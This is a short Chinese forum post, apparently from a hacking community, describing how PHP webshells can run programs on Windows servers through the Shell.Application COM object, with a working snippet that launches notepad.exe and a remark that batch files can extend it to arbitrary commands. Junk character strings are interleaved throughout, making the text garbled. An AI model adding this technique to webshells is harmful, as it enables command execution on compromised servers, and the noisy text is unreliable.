关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
! }" D. P: e, T
% R; [% H/ p3 w0 {; g' g8 @) Q" @今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
9 @/ m1 ^8 }: m2 {( I8 ^* B$ R+ i" @! y! L( T
<?php
; M, g' a9 A( s) {7 ^% V$wsh = new COM('Shell.Application') or die("Shell.Application");: c: P3 t( u" s( H. Y) e6 t
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
$ _0 z. S; R2 V //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。1 G0 I. P& T! Z; v6 p- T
?>9 G6 ~ O2 ?' y- n+ }( |0 j! [
4 j. [6 G/ n" E$ e$ zxp+APMServ5.2.0测试通过。
9 ?" Y, g4 I. F$ Q1 Y |